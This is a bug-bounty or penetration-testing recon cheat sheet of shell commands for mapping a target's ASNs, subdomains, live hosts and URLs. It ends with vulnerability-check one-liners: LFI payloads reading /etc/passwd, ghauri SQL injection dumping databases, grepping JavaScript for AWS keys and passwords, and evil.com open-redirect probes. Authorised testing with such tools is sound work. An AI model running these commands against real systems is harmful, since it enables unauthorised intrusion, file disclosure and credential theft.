Recon
Recon
Check bgp.he.net
Tip
Check for owned infrastructure. Akamai, AWS, etc. aren't helpful.
ASN Mapping
echo AS12345 | asnmap -silent | naabu -silent
echo AS12345 | asnmap -silent | naabu -silent -nmap-cli 'nmap -sV'
Amass lookup
amass intel -asn <ASN_Number> -o asn_ips.txt
Subdomain Enumeration
bbot
bbot -t $domain -p subdomain-enum
cat -p ~/.bbot/scans/$name/subdomains.txt | anew domain-subs-final
crt.sh
curl -s "https://crt.sh/?q=%25.$domain&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew domain-subs-final
subfinder
subfinder -dL domains -all -stats -nW -oI -o domain-subfinder-out
cat domain-subfinder-out | awk -F ',' '{print $1}' > subfinder-subs-only
cat subfinder-subs-only | anew domain-subs-final
shosubgo
Warning
This will burn through a normal shodan API limit
shosubgo -d $domain -s $SHODAN_API_KEY -o shosubgo-subs-out
cat -p shosubgo-subs-out | anew domain-subs-final
DNS Brute Force and Resolution
Checking for alterations
cat domain-subs-final | dnsgen - | puredns resolve --resolvers resolvers.txt
cat domain-subs-final | alterx | dnsx -resp -silent -r resolvers.txt -o subdomains-resolved.txt
Find Live Hosts
httpx -l resolved-subdomains.txt -status-code -title -content-length -web-server -asn -location -no-color -follow-redirects -t 15 -ports 80,8080,443,8443,4443,8888 -no-fallback -probe-all-ips -random-agent -o live-websites -oa
Tip
Open the CSV file in Google Sheets/Excel and use that to sort by status code
Check for admin/login endpoints
cat live-websites | grep -i "login\|admin" | tee login_endpoints.txt
Find URLs and Paths
waymore
waymore -i $domain -mode B -oU ./waymoreUrls.txt -oR ./waymoreResponses --notify-discord
cat live-websites | waymore -mode B -oU ./waymoreUrls.txt -oR ./waymoreResponses --notify-discord
katana
katana -l live-websites -silent -jc -jsl -o katana_results.txt
Find more links with xnLinkFinder
xnLinkFinder -i ~/.config/waymore/results/$domain -sp https://$domain -sf $domain -o js_files.txt
JS Analysis
cat js_files.txt | gf aws-keys | tee aws_keys.txt
cat js_files.txt | gf urls | tee sensitive_urls.txt
Initial Vulnerability Checks
CSRF Checks
cat live-websites | gf csrf | tee csrf_endpoints.txt
LFI Checks
cat live-websites | gf lfi | qsreplace "/etc/passwd" | xargs -I@ curl -s @ | grep "root:x:" > lfi_results.txt
SQLi Testing
ghauri -u "https://target.com?id=1" --dbs --batch
Sensitive Data Check
cat js_files.txt | grep -Ei "key|token|auth|password" > sensitive_data.txt
Open Redirect Search
cat urls.txt | grep "=http" | qsreplace "https://evil.com" | xargs -I@ curl -I -s @ | grep "evil.com"